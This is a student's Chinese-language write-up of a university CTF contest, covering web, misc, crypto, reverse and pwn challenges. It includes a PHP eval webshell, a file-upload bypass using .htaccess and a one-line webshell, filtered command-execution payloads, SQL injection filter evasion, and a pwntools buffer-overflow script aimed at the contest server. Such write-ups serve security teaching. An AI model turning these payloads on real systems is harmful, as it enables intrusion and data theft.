首届浙江师范大学网络与信息安全校赛WP...

【ctf】第一届浙江师范大学网络与信息安全校赛wp

前言

第一次参加正式的ctf比赛,恰巧碰到了自己学校的第一届校赛。分享一下菜狗的做题心路历程。

热身

1.网络安全法(解出)

image-20210511111209196

网络安全法2016-11-07颁布

得到flag{2016-11-07}

WEB

1.web签到(解出)

image-20210511111639007

<?php
show_source(__file__);
@eval($_POST['zjnuctf']);
?>

由于自己的hackbar有问题(这里卡了好久发现是hackbar的问题),直接bp抓包,get改为post image-20210511180303809

2.easy_serialization (解出)

image-20210511111623444

反序列化

将fakeflag.php改为flag.php后输出

当然,要把flag.php用php://filter伪协议

image-20210511180149990

将上面的url编码当作fxxk的值传入

image-20210511111740172

得到base64编码解密

image-20210511111756997

爆破?不存在的,直接MD5网站解密

image-20210511111817456

flag{1919810}

3.easy_md5(解出)

image-20210511112004923

上来先代码审计

image-20210511112021762

可以发现有三关。

第一关,==弱比较,直接用MD5碰撞即可。

image-20210511112125189

分别给a1,a2赋值(上面的都可以)

第二关 ,===强比较,使用数组即可

b[]1=1&b2[]=2

第三关 (卡的有点久,后面灵光一闪)

因为flag ls等字样都被过滤了

我们用var_dump函数执行

查看根目录scandir(chr()47)

cmd=var_dump(scandir(chr(47)))?>

发现flag用file_get_contents

cmd=var_dump(file_get_contents(chr(47).chr(102).chr(108).chr(97).chr(103)))?>

image-20210511180348421

4.easy_upload(解出)

image-20210511112449590

考察文件上传

先试了php

发现无法上传php

用.htaccess image-20210511180420335

然后再上传

说不是jpg格式

bp抓包后更改 image/jpeg

上传成功

再上传一张1.jpg内涵一句话木马

蚁剑连接

根目录发现flag

image-20210511112542769

5.5.i_love_sql[悬赏题] (未解出)

image-20210511120205174

image-20210511120231405

这题在比赛的时候想了很久,但是没解出来。

用fuzz字典发现or ’ 空格 = 这些都被过滤了。当时也没想到什么解法。

以下是当时的心路历程

首先,被过滤的 可以用 \ 来转义,空格可以用/**/来替换,or用 || 来替换

因为or被过滤了,无法使用information_schema,但是mysql5.6版本以上存在mysql.innodb_table_stats

其次,这个sql语句盲猜都知道是

select username,password fromwhere userename = '$name' and password = '$password'

那么我们做如下替换

select username, password fromwhere username='\' and password='||/**/1#';

然后得到的结果让我痛心

image-20210511121056077

之后打开了御剑扫描,发现有个admin123.php

image-20210511121145510

无果,到此思路就结束了。

然后就是赛后看官方wp,发现还是得写脚本来破解。

(由于自己还未参悟,所以直接上官方wp吧)官方wp

MISC

1.扫雷(解出)

卡了我好久,我以为有更好的一步到位方法

image-20210511113024460

2.神奇的迷宫(未解出)

image-20210511121530342

这题看完wp真的是有点呕吐,思路全对就是我眼睛不行qaq(看的时候迷宫密码少了个d)

下载附件发现一张maze图片

image-20210511121550220

然后分别用 u d l r 对应上下左右,得到关键密码 drdrdrdldldrurururdldld

然后用kali的binwalk分离maze图片,发现一个zip文件,解压密码就是上面的drdrdrdldldrurururdldld。解压完了就是flag.txt

3.奇怪的字符(未解出)

image-20210511122004134

这题也是有思路,但没有完全有思路,气死。

下载附件发现全是01格式的字符

image-20210511122037435

一看就是01二进制转ascii码,写一个py转化脚本

image-20210511122314217

得到的一看就是base64编码,放入在线网站解密

image-20210511122408709

又得到一个奇奇怪怪的字符串。

比赛时候到这里就懵逼了。

赛后看wp发现,解密出来的这玩意还是一个base64。

所以我们只需要再来一次解码即可。

image-20210511122513800

发现得到的东西和flag不一样。想到题面中的凯撒。

直接凯撒密码得到flag

image-20210511122636302

4.打不开的word(解出)

image-20210511122745502

解压发现docx文件

打不开

改为txt后缀,发现xml格式

image-20210511122738643

直接改为zip后缀

解压

发现hint.xml

image-20210511122829508

打开

image-20210511122851274

照着上面做

image-20210511122948426

照着做之后将解压后的文件压缩为zip,再改后缀为docx

打开

image-20210511123056832

一开始一张图和一句话

flag在哪呢?

我真的不知道啊!!

卡了好久

百度了之后发现有word有隐藏文字功能

我人傻了

image-20210511123156254

拖开图片发现flag

image-20210511123212908

5.嫌疑人bmth的硬盘[悬赏题](未解出)

image-20210511123402405

怎么说呢,这题也是与正确答案擦肩而过。。。

以下是我的心路历程。

下载附件之后,发现一张图和一个有密码的压缩包,内涵虚拟磁盘文件

image-20210511123354219

压缩包密码是什么呢?

肯定在这张图片里。

放入kali的binwalk中,无解。

拖入010中,发现了奇奇怪怪的东西

image-20210511123551030

在最下方发现了一个password,激动的以为这就是解压密码。可是悬赏题不可能这么简单!无果。

又在010发现了有趣的东西。

image-20210511123725305

上面写着,Do you konw silentEye?

百度了一下,是个电影?

再深入百度,发现是一个图片解码工具,直接下载安装。

image-20210511123831238

image-20210511123918743

当时直接不会用。卡在这里停住了。

到此心路历程结束。

看了官方wp之后,发现,只需要改个password即可。改为上面010里看到的123456

image-20210511124030535

解压得到vhd文件

image-20210511124228429

image-20210511124243250

参加vhd,并进入

image-20210511124325735

发现flag.txt

image-20210511124411743

image-20210511124358315

手速???无他,唯手熟尔

image-20210511124455708

CRYPTO

1.签到(解出)

image-20210511125851872

这题也卡了(我太菜了)

上来直接base64

image-20210511125911705

然后看不懂

image-20210511125950861

在后面用web工具的时候发现是hex编码

image-20210511180538085

2.恶魔人(未解出)

image-20210511130037556

这题怎么说呢?就是题目做少了

得到txt文件

image-20210511130052498

类似于佛曰,但是我比赛时候百度没出结果。

赛后看wp发现还有熊曰这玩意!!!

image-20210511130222459

至于题目的恶魔人,只是单纯的玩日语谐音梗。。。

3.shit_encode(解出)

image-20210511130342232

侥幸拿了一血(唯一一个qaq)

下载附件

得到py和txt

image-20210511130414456

image-20210511130431863

image-20210511130447397

看py得知

哼=0

啊=1

写java脚本

image-20210511130510536

得到01

一看就是01转ascii码

上py脚本得到flag

image-20210511130538595

4.easy_rsa(未解出)

image-20210511130708971

rsa真的不是我这种数学fw写的出来的。

image-20210511130659060

即使是看了赛后wp,我还是不会,直接放弃。。。

wp的脚本

from Crypto.Util.number import long_to_bytes
from gmpy2 import iroot,invert,is_prime

nn=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730887670416768927672337677964290714550597600568429298221699648716921633068901353883948998903599058659542070118947492576518928418186712932926792789779394655691866868123443570557245730548669118968910472481699594289886611870716330210847358794021118096694062505555989342966084729820172623438268306776062004746756005827    
n=14233785218017561523427549764129133888410801937405042543608384794638882231260026439768940913248241994813040365019261590207671015021863775460551508126683685707521450333104917548908667903767306793964795289409659685209396396597227554445322460584023558730012055075833060764745007466432401928021336117897704730807001526796418874459262653269010050805445478077947359375104859206527750763562742113548953267910553466464257144910076016464319670824458715011248550028233525149999568175523132599184229580518635264332963606814447158506677704508111890282939569371852505020871097477121110247604848059496171967876089968129112279691787    
c=6909971391235120426969929645159492694245180553493170688384455395528880026264095781528449983208737981366859280710505606312242226424493215677583657170631510569997194553878866069533443896325051765975176119838518862738911330711618395941024704526641020596853651020122118936781031517870336553964625043083191787006414798451913618025949091586821489624371752964104686443066484925896291615405649389508964693993423607826989107021323425570133994104193066158297289023028007258400114180433143896560235193492515971098965506699893119979781920883228266956815844473828142781253269238329637022081737391678217749601980114153927801508703 
e=65537

t = nn - n
f1 = lambda x, y: pow(x * y - t, 2) - 4 * n * x * y
f2 = lambda x, y, s: (t - x * y - s) / (2 * x)
token = 0
for x in xrange(1, 3000):
    if token == 1:
        break
    for y in xrange(1, 3000):
        if f1(x, y) >= 0:
            s, b = iroot(f1(x, y), 2)
            if b:
                if is_prime(f2(x, y, int(s))):
                    p = f2(x, y, int(s))
                    token = 1
                    break
q = n/p
phi = (p-1)*(q-1)
d = invert(e, phi)
m = pow(c, d, n)

print(long_to_bytes(m))

5.114514[悬赏题](未解出)

image-20210511131133300

下载附件中的py文件

image-20210511131210111

txt文件

image-20210511131220259

可以看到出来

'114','514','1919','810'

都是会被替代的

但是我是真的不会分析源码(python还没系统学习的一个fw罢了)

官方wp

#! python3
#coding=gbk

def shit_plus_decode(string):
    string = string[7:].replace("114","00").replace("514","01").replace("1919","10").replace("810","11")
    num_list = []
    temp = ""
    for i in string:
        temp += i
        if len(temp) == 16:
            num_list.append(temp)
            temp = ''
    result =""
    for i in range(len(num_list)):
        high_bytes = num_list[i][:8]
        low_bytes = num_list[i][8:]
        new_num = bin(int(num_list[i][:8],2) ^ int(num_list[i][8:],2))[2:]
        result += chr(int(new_num + low_bytes,2))
    return result

cipher = r"¤ä¤ê¤Þ¤¹¤Í!!5141919514191951419195141919514191981011451419198101145141919114514514191911451451419195148105141919514810514810191981051481019198101148105148101148105148101148105141919114810514191911481019191141148101919114114810114191911481011419191148101141141148101141145141919114191951419191141919114810191911411481019191145141919514514514191951451411419198105141141919810514114810514810114810514810514191951411451419195141145141919114191951419191141919514191911481051419191148101141919810514114191981051411481051411411481051411411481011411411481011411411481051481011481051481011481011411411481011411411419198105141141919810514514191911419195141919114191911481011451411481011451451419195145145141919514514114810191911411481019191141141919810514114191981051451419191145145141919114514114810514514114810514514114810114114114810114114514191951451451419195145141148105141919114810514191911481019195141148101919514114810514191911481051419191148101919514114810191951411481011411411481011411411481051481011481051481011481051451411481051451451419195141145141919514114514810810514514810810514"

print(shit_plus_decode(cipher))

REVERSE

1.shiftf12(解出)

image-20210511131444090

题目就是提示

放入ida说缺少关键文件

拖入kali

upx -d 脱壳

再拖入ida

shift f12得到flag

2.bit_operation(未解出)

image-20210511131533002

逆向最不会的就是位运算了,在学算法的时候就被这个折磨。而且本学期的数字电路我也没怎么听,遇到这种题目,挺无奈的qaq。

直接看题解吧,我也不会。官方题解

3.2048(解出)

image-20210511132242363

(这题教会我们不会就百度)

正经人谁玩游戏啊

直接百度

发现py反编译脚本

image-20210511180638195

跟着百度输入指令

得到

image-20210511180706874

里面有个main和struct

将这俩玩意用010打开

将struct的开头复制到main中

保存

改为pyc后缀

执行脚本得到main.py

打开

查找flag

两个都在

博文参考:python反编译教程之2048小游戏实例

4.gravity_ball(未解出)

image-20210511132522016

(我是真没玩过这什么重力小球。)

这已经超出我的能力范围了qaq

直接看这个-->官方wp

5.seeassGO![悬赏题] (未解出)

image-20210511133036687

想都别想,这种悬赏题直接放弃。

直接看这个-->官方wp

PWN

1.nc(解出)

image-20210511131731687

直接无脑nc上去就完事了

ls

cat flag

得到flag

2.整数上溢(解出)

image-20210511131755875

(这个题面是真的烂)

拖入ida看代码

image-20210511131901303

发现输入-2就可以了

nc连接

输入-2

ls

cat flag

3.gets_x86(未解出)

image-20210511160652021

这题赛后想了想,解了下。

首先把附件拖入ida中分析。

image-20210511164210709

第一个flag提示我们在 /flag 中。那我们怎么把这个flag拿出来呢?

我们发现有个getCode函数,让我们输入。有个gets函数,肯定有栈溢出漏洞!

然后这个getCode函数让你输入代码,程序运行会执行你写入的代码。

image-20210511164930482

之后看check函数

image-20210511171008678

发现其实你啥也写不了,因为int main(){}的括号全给你check掉了

那怎么拿到/flag呢? 用include

#include</flag>即可报错输出!

image-20210511171225838

第二个flag啥头绪没有。一般都是会有/bin/sh的后门地址的。我们去其他函数里找找。

终于在boynextbackdoor中找到(恶臭)

image-20210511164356781

按下shift再按空格,查看地址

image-20210511172811674

发现后门地址(080492B6),直接写一部分py脚本

接着在getCode函数中发现gets函数。

image-20210511164930482

char s[104]到ebp的深度是0x6c,所以填充0x6c+4个字符即可覆盖地址。

写下脚本

from pwn import *
# io = process('./gets_x86')
io = remote('121.43.169.147',8510)
ELF("./gets_x86")	# ELF格式解析文件
success_addr = 0x80492B6
payload = 'a' * 0x6c + 'aaaa' + p32(success_addr) + 'a' # 为了防止timeout: the monitored command dumped core,增加payload长度
io.sendline(payload)
io.interactive()

运行得到

image-20210511172227406

4.superstack(未解出)

image-20210511173559125

这题是真的看都不配看一眼,根本不会。

快进到看官方wp-->官方wp

5.judger_wqt(未解出)

image-20210511173944909

这题是acmer和ctfer的强强联合。还想看?想都不配想!

行了,直接看官方wp吧。

温馨的给了acm解法和ctf解法

judger_wqt/题解

后话

刚刚入门的菜狗,啥也不懂,各位大佬看个乐呵哈!

已经决定走web路线了,所以以后没有这五个方向的大杂烩wp咯~